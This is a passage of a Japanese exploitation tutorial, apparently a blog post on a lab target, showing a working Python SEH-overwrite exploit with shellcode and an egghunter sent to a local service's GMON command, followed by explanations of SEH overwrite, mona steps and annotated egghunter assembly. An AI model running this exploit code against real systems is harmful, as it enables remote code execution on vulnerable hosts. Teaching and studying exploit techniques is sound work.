shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32&quot;&lt;/span&gt;
shellcode &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xef\x33\xf1&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# !py mona egg -t c0d3&lt;/span&gt;
egghunter &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7&quot;&lt;/span&gt;

target &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;9999&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
vuln_cmd &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;GMON /.:/ &quot;&lt;/span&gt;

crash_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;5011&lt;/span&gt;
offset &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3514&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;vuln_cmd&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
sled_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;
space_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;

payload &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vuln_cmd
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;c0d3c0d3&quot;&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; shellcode
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;B&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;offset &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; space_len&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x90&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; sled_len
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; egghunter
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;C&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;offset &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# nseh&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# jmp short&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xeb\x09\x90\x90&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# seh&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# 0x625011b3, # pop eax # pop eax # ret  - essfunc.dll&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; struct&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pack&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x625011b3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\x90&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; sled_len

&lt;span class=&quot;token comment&quot;&gt;# jmp -4f&lt;/span&gt;
payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;\xeb\x8F\x90\x90&quot;&lt;/span&gt;

payload &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&quot;D&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;crash_len &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; socket&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;create_connection&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;target&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recv&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;512&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    sent &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; sock&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;send&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;payload&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;sent &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sent&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;br&gt;
&lt;h3 id=&quot;useh-overwriteu&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#useh-overwriteu&quot; aria-label=&quot;useh overwriteu permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;SEH overwrite&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;SEHのプロトタイプを以下に示します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;SEHプロトタイプ(excpt.hより)&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;EXCEPTION_DISPOSITION __cdecl &lt;span class=&quot;token function&quot;&gt;_except_handler&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;_EXCEPTION_RECORD&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;_ExceptionRecord&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;_EstablisherFrame&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;_CONTEXT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;_ContextRecord&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;_DispatcherContext
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;例外ハンドラが呼び出される際には、第2引数&lt;code class=&quot;language-text&quot;&gt;_EstablisherFrame&lt;/code&gt;としてnSEHのポインタが渡されます。そのときのStackの状態を以下に図示します。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/stack_after_calling_exception_handler.png&quot; alt=&quot;Stack after calling exception handler&quot; title=&quot;Stack after calling exception handler&quot;&gt;&lt;/p&gt;
&lt;p&gt;例外ハンドラに&lt;code class=&quot;language-text&quot;&gt;pop pop ret&lt;/code&gt;のガジェットを配置しておくことで、&lt;code class=&quot;language-text&quot;&gt;EIP&lt;/code&gt;が&lt;code class=&quot;language-text&quot;&gt;_EstablisherFrame&lt;/code&gt;に移る、つまり例外ハンドラであるSEHに続いてnSEHが実行される状態を作ることができます。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;!mona seh&lt;/code&gt;にて利用可能な&lt;code class=&quot;language-text&quot;&gt;pop pop ret&lt;/code&gt;ガジェットを探すことができます。&lt;/p&gt;
&lt;p&gt;SEH overwriteの動作確認を行う際の手順を以下に示します。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Exploit (SEH overwrite)を実行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Alt + S&lt;/code&gt;にてnSEHおよびSEHが想定通り上書きされていることを確認&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;!mona bpseh&lt;/code&gt;にてSEHにBreak poitを張る&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Shift + F9&lt;/code&gt;にてcontinue and intercept exceptionsを実行&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;以下の画像のように&lt;code class=&quot;language-text&quot;&gt;pop pop ret&lt;/code&gt;ガジェットを上書きしたSEHにEIPが移るか&lt;strong&gt;確認&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/media/20200531_egghunter/pop2ret.png&quot; alt=&quot;pop pop ret&quot; title=&quot;pop pop ret&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pop pop ret&lt;/code&gt;の次にnSEHにEIPが移るか&lt;strong&gt;確認&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br&gt;
&lt;p&gt;なお、SEH overwriteとその防御機構については&lt;a href=&quot;https://www.ffri.jp/assets/files/research/research_papers/SEH_Overwrite.pdf&quot;&gt;FFRIのレポート&lt;/a&gt;に分かりやすくまとめられています。&lt;/p&gt;
&lt;br&gt;
&lt;h3 id=&quot;uegghunteru&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#uegghunteru&quot; aria-label=&quot;uegghunteru permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;u&gt;Egghunter&lt;/u&gt;&lt;/h3&gt;
&lt;p&gt;Egghunterとは、Heap領域にShellcodeを書き込んだ場合など、アドレスが不定のShellcodeへジャンプするために使われるテクニックです。Shellcodeの直前に&lt;code class=&quot;language-text&quot;&gt;w00tw00t&lt;/code&gt;のように4 byte文字列2つで構成されるEggを配置し、そのEggを検索することでShellcodeのアドレスを特定しジャンプします。&lt;/p&gt;
&lt;p&gt;Egghunterの動作を表現する関数をPseudo codeとして以下に示します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;pseudo_code.c&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;c&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-c line-numbers&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;address&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;address&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;EGG_STRING&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;jump_to&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;address&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;egghunter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;address &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;mona.pyを使うとEgghunterのアセンブリを簡単に作成することができます。&lt;code class=&quot;language-text&quot;&gt;-t&lt;/code&gt;オプションでEggの文字列を任意の値に指定することができます。&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;!mona egg -t c0d3&lt;/code&gt;で生成されたアセンブリを以下に示します。&lt;/p&gt;
&lt;div class=&quot;gatsby-code-title&quot;&gt;egghunter.asm&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;nasm&quot;&gt;&lt;pre style=&quot;counter-reset: linenumber NaN&quot; class=&quot;language-nasm line-numbers&quot;&gt;&lt;code class=&quot;language-nasm&quot;&gt;&lt;span class=&quot;token label function&quot;&gt;LOOP_INC_PAGE:&lt;/span&gt;
    OR &lt;span class=&quot;token register variable&quot;&gt;DX&lt;/span&gt;,0FFF              : Pageの最終アドレスへ&lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;を移動 (6681CAFF0F)
&lt;span class=&quot;token label function&quot;&gt;LOOP_INC_ONE:&lt;/span&gt;
    INC &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;                 : &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;を&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;つ進める (&lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;)
&lt;span class=&quot;token label function&quot;&gt;LOOP_CHECK:&lt;/span&gt;
    PUSH &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;                : &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;を保存 (&lt;span class=&quot;token number&quot;&gt;52&lt;/span&gt;)
    PUSH &lt;span class=&quot;token number&quot;&gt;00000002&lt;/span&gt;           : &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;はNtAccessCheckAndAuditAlarm (6A02)
    POP &lt;span class=&quot;token register variable&quot;&gt;EAX&lt;/span&gt;                 : NtAccessCheckAndAuditAlarmを&lt;span class=&quot;token register variable&quot;&gt;EAX&lt;/span&gt;にセット (&lt;span class=&quot;token number&quot;&gt;58&lt;/span&gt;)
    INT 2E                  : &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;を引数にNtAccessCheckAndAuditAlarmを実行 (CD2E)
    CMP &lt;span class=&quot;token register variable&quot;&gt;AL&lt;/span&gt;,&lt;span class=&quot;token number&quot;&gt;05&lt;/span&gt;               : Return valueをACCESS_VIOLATIONを意味する
                            : &lt;span class=&quot;token number&quot;&gt;0xC0000005&lt;/span&gt;と比較 (3C05)
    POP &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;                 : &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;を復元 (5A)
    JE LOOP_INC_PAGE        : &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;がアクセス不可の場合、次Pageへ移すべくJMP (74EF)
    MOV &lt;span class=&quot;token register variable&quot;&gt;EAX&lt;/span&gt;,&lt;span class=&quot;token number&quot;&gt;33643063&lt;/span&gt;        : &lt;span class=&quot;token register variable&quot;&gt;EAX&lt;/span&gt;にeggであるc0d3を代入 (B863306433)
    MOV &lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;,&lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;             : &lt;span class=&quot;token register variable&quot;&gt;EDX&lt;/span&gt;を&lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;にセット (8BFA)
    SCASD                   : &lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;が示す文字列と&lt;span class=&quot;token register variable&quot;&gt;EAX&lt;/span&gt;を比較し&lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;に&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;加算 (AF)
    JNE LOOP_INC_ONE        : &lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;が示す文字列がeggと不一致の場合、アドレスを&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;つ進め
                            : スキャンを継続するべくJMP (75EA)
    SCASD                   : egg2つが連続しているか確認 (AF)
    JNE LOOP_INC_ONE        : &lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;が示す文字列がeggと不一致の場合、アドレスを&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;つ進め
                            : スキャンを継続するべくJMP (&lt;span class=&quot;token number&quot;&gt;75E7&lt;/span&gt;)
    JMP &lt;span class=&quot;token register variable&quot;&gt;EDI&lt;/span&gt;                 : eggの直後へJMP (FFE7)&lt;/code&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;line-numbers-rows&quot; style=&quot;white-space: normal; width: auto; left: 0;&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;メモリには、1つ以上のPageからなるRegionと呼ばれる領域がレイアウトされており、Immunity debugger上で&lt;code class=&quot;language-text&quot;&gt;Alt + M&lt;/code&gt;そのレイアウトをメモリマップとして確認することができます。&lt;/p&gt;
&lt;p&gt;Read, Write, Executeといったメモリのアクセス権はPageごとに設定されるものであるため、Egghunterではメモリ内のアドレスを示すEDXを1ずつ増加させながらegg文字列を検索し、EDXがアクセス不可の領域を示した場合にはx86の最小Page sizeである0x1000ずつEDXを進めながらegg文字列の検索を続けます。&lt;/p&gt;
&lt;br&gt;
